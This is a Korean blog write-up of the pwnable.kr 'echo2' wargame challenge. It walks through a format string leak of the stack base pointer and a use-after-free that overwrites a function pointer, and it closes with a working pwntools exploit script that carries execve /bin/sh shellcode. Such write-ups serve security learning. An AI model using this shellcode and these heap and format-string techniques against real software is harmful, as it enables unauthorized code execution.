본문 바로가기

Pwnable.kr

Pwnable.kr [echo2]

http://pwnable.kr/bin/echo2

위 주소에서 실행파일을 다운 받아서 분석해야 한당

 

ELF-64bit 파일이라 kali로 옮기고 우선 ida로 대략적인 코드를 분석했다

 

nc로 연결해서 본 실행 화면

 

이전에 있었던 echo1과 똑같은 코드로 보이고,

1, 2, 3번 중에 이번에는 2, 3번이 구현되어 있는 상황 ㅇㅇ

 

이름 입력받는 곳

이름은 24byte까지 받을 수 있고

 

2번 메뉴

2번 메뉴의 경우 &format으로 대놓고 FSB가 일어난다

 

 

free()만 하고 종료 안 하는 과정

이전에 4번 메뉴를 통해서 입력한 이름을 free 하고도 재차 물음에서 'y'를 하지 않으면 종료가 되지 않아

UAF에 대해서 언급했었는데, 이번 문제에 해당 사항이 똑같이 구현되어 있고,

3번 메뉴도 있으므로 FSB와 UAF를 같이 건드려야 하는 문제로 보인다. 

 

FSB를 통한 메모리 leak

메모리 leak을 해보면 6번째 부터 내가 입력한 값이 나오고 있다. 

 

우선 64bit라서 FSB를 통한 메모리 leak도

$rdi, $rsi, $rdx, $rcx, $r8, $r9 순서로 나오고, 스택이 나온다는데, 

내 컴퓨터 기준, $rdi를 건너 뛰고 나머지 5개 이후에 스택이 나왔다.

printf 전 스택값
leak 정보

또 nc로 연결해서는 해당 레지스터 값들도 다르게 나오는 것을 확인하였다. 

 

$rcx자리(아마?)에 FSB에서 입력한 값 있음

우선 정확히 어떤 레지스터가 스킵되는지는 모르겠지만 5개 이후에 6개 째에 값이 나오는 것을 확인하였다.

($rdi가 안 나오는 게 맞을 지도)

 

이후, %7$lx, %8$lx ... 하면서 확인해보면 %11$lx에 ret 값이 들어있고, 

그 전의 %10$lx값이 rbp of main 값임을 확인 가능하다. 

 

2번 메뉴(echo2) 호출과 ret 주소
11번째(스택 6번째)에 들어있는 ret 주소

 

IDA를 통해서도 스택을 0x20 확장하는 것을 재확인 가능하고

rsp + 0x20 : rbp of main (%10$lx),

rsp + 0x28 : ret (%11$lx)

임을 다시 확인할 수 있다.

 

IDA를 통해서 본 stack 정보

rbp of main 값을 알았으니, main 함수에서 입력한 이름값의 위치를 확인해보면,

똑같이 rbp - 0x20에 위치한다.

이름 입력값의 주소

FSB를 이용한 leak을 통해서 rbp of main의 주소를 알고,

해당 주소 - 0x20을 하면 우리가 이름으로 입력한 스트링에 접근이 가능하다.

 

여기에 쉘 실행 코드(23byte)를 올리고 greetings 함수 호출 주소를 덮게 되는데, 덮을 수 있는 이유는 다음과 같다. 

 

기존에 함수 호출의 기준값으로 사용되는 var o의 경우 main에서 0x28 사이즈만큼 할당한다.

그리고 greetings 함수는 QWORD(o+3)으로 호출을 하니까 o + 0x18의 위치.

main에서의 malloc

이 후 프리를 거쳐 UAF에서는 0x20 사이즈로 할당을 하지만

두 chunk 모두 fast bin에 속하므로 같은 영역에 할당이 되게 된다.

(무조건 할당하는 사이즈가 똑같아야지만 같은 영역에 할당이 되는 것이 아니라

그룹이 같으면 같은 곳에 될 수 있다.)

UAF(3번 메뉴)에서의 malloc

 

UAF 메뉴에서는 입력값을 0x20만큼 받으므로

o + 0x18로 호출되는 greetings의 시작 주소를 내가 원하는 곳으로 (shell code 시작 주소) 덮을 수 있고,

이 후 greetings를 호출하는 경우에 shell이 따진다. 

 

FSB가 일어나는 printf(str) 식의 코딩과 (leak에 사용)

함수 호출 시 인덱스 기준값으로 사용하던 o 변수를 free(o) 했음에도 그 이후에 o+x의 형태로 함수를 호출하는

(메모리 변조에 사용)

 

두가지 코드 상의 결함으로 취약한 문제였다.

 

다음은 exploit 코드이다.

from pwn import *

shell_23="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"

r=remote('127.0.0.1', 9011)
print r.recv(2048)
r.sendline(shell_23) #쉘코드 업로드

print r.recv(2048)
r.sendline("2") #FSB 실행

test = "%10$lx"
print r.recv(2048) 
r.sendline(test) #rbp of main 알아냄 (ASLR 있어서 알아야 됨)

print r.recv(2048)
leak = r.recv(2048).split()
shell_addr = int(leak[0], 16)-0x20 #leak 한 정보로부터 shell 주소 계산

r.sendline("4")
print r.recv(2048) #var o free 시킴

r.sendline("Y") #'y'만 아니면 됨
print r.recv(2048)

r.sendline("3")
print r.recv(2048) #free한 공간에 재할당

r.sendline("A"*24+p64(shell_addr)) #메모리 변조
r.interactive() #

 

-------------------- 추가

아니 다 해서 쉘까지 땄는데, 원래 greetings를 호출하면서 쉘이 따져야 되는데

해당 r.interactive()들어가자마자 이미 쉘을 딴 상태임

 

UAF에서 fgets가 32byte 입력받는 거를 꽉 채워서 줬고, 1바이트 어차피 입력 안 받았는데 (fgets에서 알아서 자름)

stdin에 남아있어서 특정 메뉴 실행되고 자동으로 쉘 따지는 것으로 보임

 

현재 아스키 아머 느낌으로다가 앞에는 00이고 7byte만 주소로 사용하고 있어서 가능한 상황

 

해당 내용 확인하려면

마지막 sendline 주기 전에

test = "A"*24+p64(shell_addr)

sendline(test[:-1])

이런 식으로 하면 된다.

 

이렇게 하면 메뉴 입력받게 되어서

4번 메뉴하면 double free로 크래쉬 나고

greetings를 호출 한 번 해야 쉘 따지는 의도한 대로 되는 것을 확인할 수 있음

지적 환영, 배우는 중

'Pwnable.kr' 카테고리의 다른 글

Pwnable.kr [dragon]  (0) 2019.10.16
Pwnable.kr [simple login]  (0) 2019.10.16
Pwnable.kr[loveletter]  (0) 2019.09.22
Pwnable.kr[fix]  (0) 2019.09.15
Pwnable.kr[tiny_easy]  (0) 2019.09.15